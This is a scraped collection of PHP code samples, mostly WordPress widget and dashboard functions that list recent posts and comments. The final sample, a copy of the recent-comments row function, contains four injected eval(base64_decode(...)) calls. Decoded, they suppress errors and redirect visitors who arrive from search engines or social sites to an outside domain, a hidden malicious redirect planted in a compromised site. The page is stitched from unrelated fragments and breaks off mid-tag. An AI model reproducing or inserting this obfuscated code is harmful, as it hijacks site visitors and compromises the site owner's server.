        // comment_count;
    }
    echo $after_widget;
}
Пример #12
0
    public function widget($args)
    {
        echo $args['before_widget'];
        ?>

		<div id="side-tab">

			<ul id="myTab" class="nav nav-tabs nav-justified">
				<li class="active"> <a data-toggle="tab" href="#latest-tab"> Reciente </a></li>
				<li> <a data-toggle="tab" href="#popular-tab"> Popular </a></li>
				<li> <a data-toggle="tab" href="#comments-tab"> Comentarios </a></li>
			</ul>

			<div id="myTabContent" class="tab-content">

				<div class="tab-pane fade in active" id="latest-tab">

					<?php 
        $count = 5;
        $argos = array('posts_per_page' => $count);
        $loop = new WP_Query($argos);
        while ($loop->have_posts()) {
            $loop->the_post();
            ?>
					<div class="tab-list clearfix">
							<div class="tab-img">
								<?php 
            $thumb_id = get_post_thumbnail_id();
            $thumb_url_array = wp_get_attachment_image_src($thumb_id, 'thumbnail-size', true);
            $thumb_url = $thumb_url_array[0];
            // $thumb = get_post_thumbnail_id();
            // $img_url = wp_get_attachment_url( $thumb,'full' ); //get full URL to image (use "large" or "medium" if the images too big)
            // $image = aq_resize( $img_url, 100, 80, true,true,true ); //resize & crop the image
            ?>
								<?php 
            if ($thumb_url) {
                ?>
									<a href="<?php 
                the_permalink();
                ?>
"> <img src="<?php 
                echo $thumb_url;
                ?>
" alt="<?php 
                the_title();
                ?>
" /> </a>
								<?php 
            }
            ?>
							</div>
							<div class="tab-entry-content">
								<div class="entry-meta"> <?php 
            the_category(', ');
            ?>
 </div>
								<h2><a href="<?php 
            the_permalink();
            ?>
"> <?php 
            the_title();
            ?>
 </a> </h2>
							</div>
					</div>

					<?php 
        }
        wp_reset_postdata();
        ?>

				</div>

				<div class="tab-pane fade" id="popular-tab">

					<?php 
        $count = 5;
        $argos = array('posts_per_page' => $count, 'orderby' => 'comment_count');
        $loop = new WP_Query($argos);
        while ($loop->have_posts()) {
            $loop->the_post();
            ?>
					<div class="tab-list clearfix">
							<div class="tab-img">
								<?php 
            $thumb = get_post_thumbnail_id();
            $img_url = wp_get_attachment_url($thumb, 'full');
            //get full URL to image (use "large" or "medium" if the images too big)
            $image = aq_resize($img_url, 100, 80, true, true, true);
            //resize & crop the image
            ?>
								<?php 
            if ($image) {
                ?>
									<a href="<?php 
                the_permalink();
                ?>
"> <img src="<?php 
                echo $image;
                ?>
" alt="<?php 
                the_title();
                ?>
" /> </a>
								<?php 
            }
            ?>
							</div>
							<div class="tab-entry-content">
								<div class="entry-meta"> <?php 
            the_category(', ');
            ?>
 </div>
								<h2><a href="<?php 
            the_permalink();
            ?>
"> <?php 
            the_title();
            ?>
 </a> </h2>
							</div>
					</div>

					<?php 
        }
        wp_reset_postdata();
        ?>

				</div>

				<div class="tab-pane fade" id="comments-tab">

					<?php 
        $args = array('number' => '5');
        $comments = get_comments($args);
        foreach ($comments as $comment) {
            $url = '<h2><a href="' . get_permalink($comment->comment_post_ID) . '#comment-' . $comment->comment_ID . '" title="' . $comment->comment_author . ' | ' . get_the_title($comment->comment_post_ID) . '">' . $comment->comment_author . '</a>: </h2>';
            echo '<div class="com-list clearfix">';
            echo '<div class="tab-img">';
            echo get_avatar($comment, '64');
            echo '</div>';
            echo $url;
            comment_excerpt($comment->comment_ID);
            echo '</div>';
        }
        ?>

				</div>

			</div>
		</div>

	<?php 
        echo $args['after_widget'];
    }
    function widget($args, $instance)
    {
        extract($args);
        $title = apply_filters('widget_title', $instance['title']);
        $countP = $instance['count_p'];
        $countR = $instance['count_r'];
        $countC = $instance['count_c'];
        //popular post args
        $argsP = array('posts_per_page' => $countP, 'order' => 'DESC', 'orderby' => 'meta_value_num', 'meta_key' => THEME_NAME . '_post_views_count', 'post_type' => 'post');
        //recent post args
        $argsR = array('posts_per_page' => $countR);
        //commnet post args
        $argsC = array('status' => 'approve', 'order' => 'DESC', 'number' => $countC);
        $comments = get_comments($argsC);
        $totalCount = count($comments);
        $the_query_p = new WP_Query($argsP);
        $the_query_r = new WP_Query($argsR);
        //post counts
        $totalCountP = $the_query_p->found_posts;
        $totalCountR = $the_query_r->found_posts;
        $blogID = get_option('page_for_posts');
        $postDate = get_option(THEME_NAME . "_post_date");
        $postComments = get_option(THEME_NAME . "_post_comment");
        ?>
		
	<?php 
        echo $before_widget;
        ?>
		<?php 
        if ($title) {
            echo $before_title . $title . $after_title;
        }
        ?>
			<div class="tabs">

				<ul class="tab-navi">
					<li class="active"><a href="#"><span><?php 
        _e("Popular", THEME_NAME);
        ?>
</span></a></li>
					<li><a href="#"><span><?php 
        _e("Recent", THEME_NAME);
        ?>
</span></a></li>
					<li><a href="#"><span><?php 
        _e("Comments", THEME_NAME);
        ?>
</span></a></li>
				</ul>

				<!-- BEGIN .latest-activity -->
				<div class="latest-activity active">
					<?php 
        if ($the_query_p->have_posts()) {
            while ($the_query_p->have_posts()) {
                $the_query_p->the_post();
                ?>
					<?php 
                $image = get_post_thumb($the_query_p->post->ID, 0, 0);
                ?>
	
						<div class="activity-item<?php 
                if ($image['show'] != true) {
                    ?>
 no-image<?php 
                }
                ?>
">
							<div class="image">
								<?php 
                if ($image['show'] == true) {
                    ?>
									<a href="<?php 
                    the_permalink();
                    ?>
">
										<?php 
                    echo ot_image_html($the_query_p->post->ID, 60, 60);
                    ?>
									</a>
								<?php 
                }
                ?>
							</div>
							<div class="text">
								<h5><a href="<?php 
                the_permalink();
                ?>
"><?php 
                the_title();
                ?>
</a></h5>
								<p><a href="<?php 
                the_permalink();
                ?>
" class="more-link"><i><?php 
                _e("Read more", THEME_NAME);
                ?>
</i></a></p>
							</div>
						</div>
					<?php 
            }
        } else {
            ?>
						<p><?php 
            _e('No posts where found', THEME_NAME);
            ?>
</p>
					<?php 
        }
        ?>
				<!-- END .latest-activity -->
				</div>

				<!-- BEGIN .latest-activity -->
				<div class="latest-activity">
					<?php 
        if ($the_query_r->have_posts()) {
            while ($the_query_r->have_posts()) {
                $the_query_r->the_post();
                ?>
					<?php 
                $image = get_post_thumb($the_query_r->post->ID, 0, 0);
                ?>
	
						<div class="activity-item<?php 
                if ($image['show'] != true) {
                    ?>
 no-image<?php 
                }
                ?>
">
							<div class="image">
								<?php 
                if ($image['show'] == true) {
                    ?>
									<a href="<?php 
                    the_permalink();
                    ?>
">
										<?php 
                    echo ot_image_html($the_query_r->post->ID, 60, 60);
                    ?>
									</a>
								<?php 
                }
                ?>
							</div>
							<div class="text">
								<h5><a href="<?php 
                the_permalink();
                ?>
"><?php 
                the_title();
                ?>
</a></h5>
								<p><a href="<?php 
                the_permalink();
                ?>
" class="more-link"><i><?php 
                _e("Read more", THEME_NAME);
                ?>
</i></a></p>
							</div>
						</div>
					<?php 
            }
        } else {
            ?>
						<p><?php 
            _e('No posts where found', THEME_NAME);
            ?>
</p>
					<?php 
        }
        ?>
				<!-- END .latest-activity -->
				</div>

				<!-- BEGIN .latest-activity -->
				<div class="latest-activity">
				<?php 
        foreach ($comments as $comment) {
            if ($comment->user_id && $comment->user_id != "0") {
                $authorName = get_the_author_meta('display_name', $comment->user_id);
            } else {
                $authorName = $comment->comment_author;
            }
            ?>

					<div class="activity-item">
						<div class="image">
							<a href="<?php 
            echo get_comment_link($comment);
            ?>
">
								<img src="<?php 
            echo get_avatar_url(get_avatar($comment, 60));
            ?>
" alt="<?php 
            echo $authorName;
            ?>
" />
							</a>
						</div>
						<div class="text">
							<h5><a href="<?php 
            echo get_comment_link($comment);
            ?>
"><?php 
            echo $authorName;
            ?>
</a></h5>
							<p><?php 
            comment_excerpt($comment->comment_ID);
            ?>
</p>
							<p><a href="<?php 
            echo get_comment_link($comment);
            ?>
" class="more-link"><i><?php 
            _e("View article", THEME_NAME);
            ?>
</i></a></p>
						</div>
					</div>
				<?php 
        }
        ?>
				<!-- END .latest-activity -->
				</div>

			</div>

	<?php 
        echo $after_widget;
        ?>
		
	
      <?php 
    }
    public function widget($args, $instance)
    {
        $cache = get_transient('bunyad_widget_latest_posts');
        if (!is_array($cache)) {
            $cache = array();
        }
        if (!isset($args['widget_id'])) {
            $args['widget_id'] = $this->id;
        }
        // cache available
        if (!defined('ICL_LANGUAGE_CODE') && isset($cache[$args['widget_id']])) {
            echo $cache[$args['widget_id']];
            return;
        }
        ob_start();
        extract($args);
        $title = apply_filters('widget_title', empty($instance['title']) ? __('Latest Comments', 'bunyad-widgets') : $instance['title'], $instance, $this->id_base);
        if (empty($instance['number']) || !($number = absint($instance['number']))) {
            $number = 5;
        }
        $query = get_comments(apply_filters('bunyad_widget_comments_query_args', array('number' => $number, 'status' => 'approve')));
        // do custom loop if available
        if (has_action('bunyad_widget_comments_loop')) {
            $args['title'] = $title;
            do_action('bunyad_widget_comments_loop', array_merge($args, $instance), $query);
        } elseif ($query) {
            ?>
			<?php 
            echo $before_widget;
            ?>
			
			<?php 
            if ($title) {
                ?>
				<?php 
                echo $before_title . $title . $after_title;
                ?>
			<?php 
            }
            ?>
			
			<ul class="comments-list">
			
			<?php 
            foreach ($query as $comment) {
                ?>
					
					<li class="comment">
						
						<span class="author"><?php 
                printf('%s said', get_comment_author_link($comment->comment_ID));
                ?>
</span>
						
						<p class="text"><?php 
                comment_excerpt($comment->comment_ID);
                ?>
</p>
						
						<a href=""><?php 
                echo get_the_title($comment->comment_post_ID);
                ?>
</a>
					
					</li>
	
					<?php 
            }
            ?>
			</ul>
			
			<?php 
            echo $after_widget;
            ?>
		
		<?php 
        }
        // reset the global $the_post as this query will have stomped on it
        wp_reset_postdata();
        $cache[$args['widget_id']] = ob_get_flush();
        set_transient('bunyad_widget_comments', $cache);
    }
    private function confirm($action)
    {
        global $comment;
        $comment_id = intval($_GET['c']);
        $formaction = $action . 'comment';
        $nonce_action = 'approve' == $action ? 'approve-comment_' : 'delete-comment_';
        $nonce_action .= $comment_id;
        if (!($comment = get_comment_to_edit($comment_id))) {
            $this->base->ks_die(__('Oops, no comment with this ID.') . sprintf(' <a href="%s">' . __('Go back') . '</a>', 'edit-comments.php'), '', false);
        }
        if (!current_user_can('edit_post', $comment->comment_post_ID)) {
            $this->base->ks_die('delete' == $action ? __('You are not allowed to delete comments on this post.') : __('You are not allowed to edit comments on this post, so you cannot approve this comment.'));
        }
        include dirname(__FILE__) . '/admin-header.php';
        switch ($action) {
            case 'spam':
                $message = __('You are about to mark the following comment as spam:');
                break;
            case 'trash':
                $message = __('You are about to move the following comment to the Trash:', 'ktai_style');
                break;
            case 'delete':
                $message = __('You are about to delete the following comment:');
                break;
            default:
                $message = __('You are about to approve the following comment:');
                break;
        }
        echo '<p><img localsrc="1" alt="" /><font color="red">' . $message . '</font><br />' . __('Are you sure you want to do this?') . '</p>';
        ?>
<form action="edit-comments.php" method="get">
<?php 
        $this->admin->sid_field();
        ?>
<div><input type="submit" value="<?php 
        _e('No');
        ?>
" /></div></form>
<form action="comment.php" method="get">
<?php 
        $this->admin->sid_field();
        wp_nonce_field($nonce_action);
        ?>
<input type="hidden" name="action" value="<?php 
        echo esc_attr($formaction);
        ?>
" />
<input type="hidden" name="p" value="<?php 
        echo intval($comment->comment_post_ID);
        ?>
" />
<input type="hidden" name="c" value="<?php 
        echo intval($comment->comment_ID);
        ?>
" />
<input type="hidden" name="noredir" value="1" />
<div><input type="submit" value="<?php 
        _e('Yes');
        ?>
" /></div>
</form>
<dl><dt><img localsrc="<?php 
        comment_type(68, 112, 112);
        ?>
" alt="[<?php 
        comment_type(__('Comment', 'ktai_style'), __('Trackback'), __('Pingback'));
        ?>
] " /><?php 
        comment_author();
        ?>
<img localsrc="46" alt=" @ " /><font color="<?php 
        echo ks_option('ks_date_color');
        ?>
"><?php 
        ks_comment_datetime();
        ?>
</font></dt><dd><?php 
        if ($comment->comment_author_email) {
            ?>
<img localsrc="108" alt="" /><font color="olive"><?php 
            comment_author_email();
            ?>
</font><br /><?php 
        }
        if ($comment->comment_author_url && 'http://' != $comment->comment_author_url) {
            ?>
<img localsrc="112" alt="" /><font color="olive"><?php 
            comment_author_url();
            ?>
</font><br /><?php 
        }
        comment_excerpt();
        ?>
</dd></dl><?php 
        include dirname(__FILE__) . '/admin-footer.php';
    }
Пример #16
0
function _wp_dashboard_recent_comments_row(&$comment, $show_date = true)
{
    $GLOBALS['comment'] =& $comment;
    $comment_post_url = get_edit_post_link($comment->comment_post_ID);
    $comment_post_title = strip_tags(get_the_title($comment->comment_post_ID));
    $comment_post_link = "<a href='{$comment_post_url}'>{$comment_post_title}</a>";
    $comment_link = '<a class="comment-link" href="' . esc_url(get_comment_link()) . '">#</a>';
    $actions = array();
    $actions_string = '';
    if (current_user_can('edit_post', $comment->comment_post_ID)) {
        $del_nonce = esc_html('_wpnonce=' . wp_create_nonce("delete-comment_{$comment->comment_ID}"));
        $approve_nonce = esc_html('_wpnonce=' . wp_create_nonce("approve-comment_{$comment->comment_ID}"));
        $approve_url = esc_url("comment.php?action=approvecomment&p={$comment->comment_post_ID}&c={$comment->comment_ID}&{$approve_nonce}");
        $unapprove_url = esc_url("comment.php?action=unapprovecomment&p={$comment->comment_post_ID}&c={$comment->comment_ID}&{$approve_nonce}");
        $spam_url = esc_url("comment.php?action=deletecomment&dt=spam&p={$comment->comment_post_ID}&c={$comment->comment_ID}&{$del_nonce}");
        $trash_url = esc_url("comment.php?action=trashcomment&p={$comment->comment_post_ID}&c={$comment->comment_ID}&{$del_nonce}");
        $actions['approve'] = "<a href='{$approve_url}' class='dim:the-comment-list:comment-{$comment->comment_ID}:unapproved:e7e7d3:e7e7d3:new=approved vim-a' title='" . __('Approve this comment') . "'>" . __('Approve') . '</a>';
        $actions['unapprove'] = "<a href='{$unapprove_url}' class='dim:the-comment-list:comment-{$comment->comment_ID}:unapproved:e7e7d3:e7e7d3:new=unapproved vim-u' title='" . __('Unapprove this comment') . "'>" . __('Unapprove') . '</a>';
        $actions['edit'] = "<a href='comment.php?action=editcomment&amp;c={$comment->comment_ID}' title='" . __('Edit comment') . "'>" . __('Edit') . '</a>';
        $actions['reply'] = '<a onclick="commentReply.open(\'' . $comment->comment_ID . '\',\'' . $comment->comment_post_ID . '\');return false;" class="vim-r hide-if-no-js" title="' . __('Reply to this comment') . '" href="#">' . __('Reply') . '</a>';
        $actions['spam'] = "<a href='{$spam_url}' class='delete:the-comment-list:comment-{$comment->comment_ID}::spam=1 vim-s vim-destructive' title='" . __('Mark this comment as spam') . "'>" . _x('Spam', 'verb') . '</a>';
        $actions['trash'] = "<a href='{$trash_url}' class='delete:the-comment-list:comment-{$comment->comment_ID}::trash=1 delete vim-t vim-destructive' title='" . __('Move this comment to the trash') . "'>" . _x('Trash', 'verb') . '</a>';
        $actions = apply_filters('comment_row_actions', $actions, $comment);
        $i = 0;
        foreach ($actions as $action => $link) {
            ++$i;
            ('approve' == $action || 'unapprove' == $action) && 2 === $i || 1 === $i ? $sep = '' : ($sep = ' | ');
            // Reply and quickedit need a hide-if-no-js span
            if ('reply' == $action || 'quickedit' == $action) {
                $action .= ' hide-if-no-js';
            }
            $actions_string .= "<span class='{$action}'>{$sep}{$link}</span>";
        }
    }
    ?>

		<div id="comment-<?php 
    echo $comment->comment_ID;
    ?>
" <?php 
    comment_class(array('comment-item', wp_get_comment_status($comment->comment_ID)));
    ?>
>
			<?php 
    if (!$comment->comment_type || 'comment' == $comment->comment_type) {
        ?>

			<?php 
        echo get_avatar($comment, 50);
        ?>

			<div class="dashboard-comment-wrap">
			<h4 class="comment-meta"><?php 
        printf(__('From %1$s on %2$s%3$s'), '<cite class="comment-author">' . get_comment_author_link() . '</cite>', $comment_post_link . ' ' . $comment_link, ' <span class="approve">' . __('[Pending]') . '</span>');
        ?>
</h4>

			<?php 
    } else {
        switch ($comment->comment_type) {
            case 'pingback':
                $type = __('Pingback');
                break;
            case 'trackback':
                $type = __('Trackback');
                break;
            default:
                $type = ucwords($comment->comment_type);
        }
        $type = esc_html($type);
        ?>
			<div class="dashboard-comment-wrap">
			<?php 
        /* translators: %1$s is type of comment, %2$s is link to the post */
        ?>
			<h4 class="comment-meta"><?php 
        printf(_x('%1$s on %2$s', 'dashboard'), "<strong>{$type}</strong>", $comment_post_link . " " . $comment_link);
        ?>
</h4>
			<p class="comment-author"><?php 
        comment_author_link();
        ?>
</p>

			<?php 
    }
    // comment_type
    ?>
			<blockquote><p><?php 
    comment_excerpt();
    ?>
</p></blockquote>
			<p class="row-actions"><?php 
    echo $actions_string;
    ?>
</p>
			</div>
		</div>
<?php 
}
Пример #17
0
function _wp_dashboard_recent_comments_row(&$comment, $show_date = true)
{
    $GLOBALS['comment'] =& $comment;
    $comment_post_url = get_edit_post_link($comment->comment_post_ID);
    $comment_post_title = strip_tags(get_the_title($comment->comment_post_ID));
    $comment_post_link = "<a href='{$comment_post_url}'>{$comment_post_title}</a>";
    $comment_link = '<a class="comment-link" href="' . esc_url(get_comment_link()) . '">#</a>';
    $actions_string = '';
    if (current_user_can('edit_post', $comment->comment_post_ID)) {
        // preorder it: Approve | Reply | Edit | Spam | Trash
        $actions = array('approve' => '', 'unapprove' => '', 'reply' => '', 'edit' => '', 'spam' => '', 'trash' => '', 'delete' => '');
        $del_nonce = esc_html('_wpnonce=' . wp_create_nonce("delete-comment_{$comment->comment_ID}"));
        $approve_nonce = esc_html('_wpnonce=' . wp_create_nonce("approve-comment_{$comment->comment_ID}"));
        $approve_url = esc_url("comment.php?action=approvecomment&p={$comment->comment_post_ID}&c={$comment->comment_ID}&{$approve_nonce}");
        $unapprove_url = esc_url("comment.php?action=unapprovecomment&p={$comment->comment_post_ID}&c={$comment->comment_ID}&{$approve_nonce}");
        $spam_url = esc_url("comment.php?action=spamcomment&p={$comment->comment_post_ID}&c={$comment->comment_ID}&{$del_nonce}");
        $trash_url = esc_url("comment.php?action=trashcomment&p={$comment->comment_post_ID}&c={$comment->comment_ID}&{$del_nonce}");
        $delete_url = esc_url("comment.php?action=deletecomment&p={$comment->comment_post_ID}&c={$comment->comment_ID}&{$del_nonce}");
        $actions['approve'] = "<a href='{$approve_url}' class='dim:the-comment-list:comment-{$comment->comment_ID}:unapproved:e7e7d3:e7e7d3:new=approved vim-a' title='" . __('Approve this comment') . "'>" . __('Approve') . '</a>';
        $actions['unapprove'] = "<a href='{$unapprove_url}' class='dim:the-comment-list:comment-{$comment->comment_ID}:unapproved:e7e7d3:e7e7d3:new=unapproved vim-u' title='" . __('Unapprove this comment') . "'>" . __('Unapprove') . '</a>';
        $actions['edit'] = "<a href='comment.php?action=editcomment&amp;c={$comment->comment_ID}' title='" . __('Edit comment') . "'>" . __('Edit') . '</a>';
        $actions['reply'] = '<a onclick="commentReply.open(\'' . $comment->comment_ID . '\',\'' . $comment->comment_post_ID . '\');return false;" class="vim-r hide-if-no-js" title="' . __('Reply to this comment') . '" href="#">' . __('Reply') . '</a>';
        $actions['spam'] = "<a href='{$spam_url}' class='delete:the-comment-list:comment-{$comment->comment_ID}::spam=1 vim-s vim-destructive' title='" . __('Mark this comment as spam') . "'>" . _x('Spam', 'verb') . '</a>';
        if (!EMPTY_TRASH_DAYS) {
            $actions['delete'] = "<a href='{$delete_url}' class='delete:the-comment-list:comment-{$comment->comment_ID}::trash=1 delete vim-d vim-destructive'>" . __('Delete Permanently') . '</a>';
        } else {
            $actions['trash'] = "<a href='{$trash_url}' class='delete:the-comment-list:comment-{$comment->comment_ID}::trash=1 delete vim-d vim-destructive' title='" . __('Move this comment to the trash') . "'>" . _x('Trash', 'verb') . '</a>';
        }
        $actions = apply_filters('comment_row_actions', array_filter($actions), $comment);
        $i = 0;
        foreach ($actions as $action => $link) {
            ++$i;
            ('approve' == $action || 'unapprove' == $action) && 2 === $i || 1 === $i ? $sep = '' : ($sep = ' | ');
            // Reply and quickedit need a hide-if-no-js span
            if ('reply' == $action || 'quickedit' == $action) {
                $action .= ' hide-if-no-js';
            }
            $actions_string .= "<span class='{$action}'>{$sep}{$link}</span>";
        }
    }
    ?>

		<div id="comment-<?php 
    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
    echo $comment->comment_ID;
    ?>
" <?php 
    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
    comment_class(array('comment-item', wp_get_comment_status($comment->comment_ID)));
    ?>
>
			<?php 
    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
    if (!$comment->comment_type || 'comment' == $comment->comment_type) {
        ?>

			<?php 
        eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
        echo get_avatar($comment, 50);
        ?>

			<div class="dashboard-comment-wrap">
			<h4 class="comment-meta"><?php 
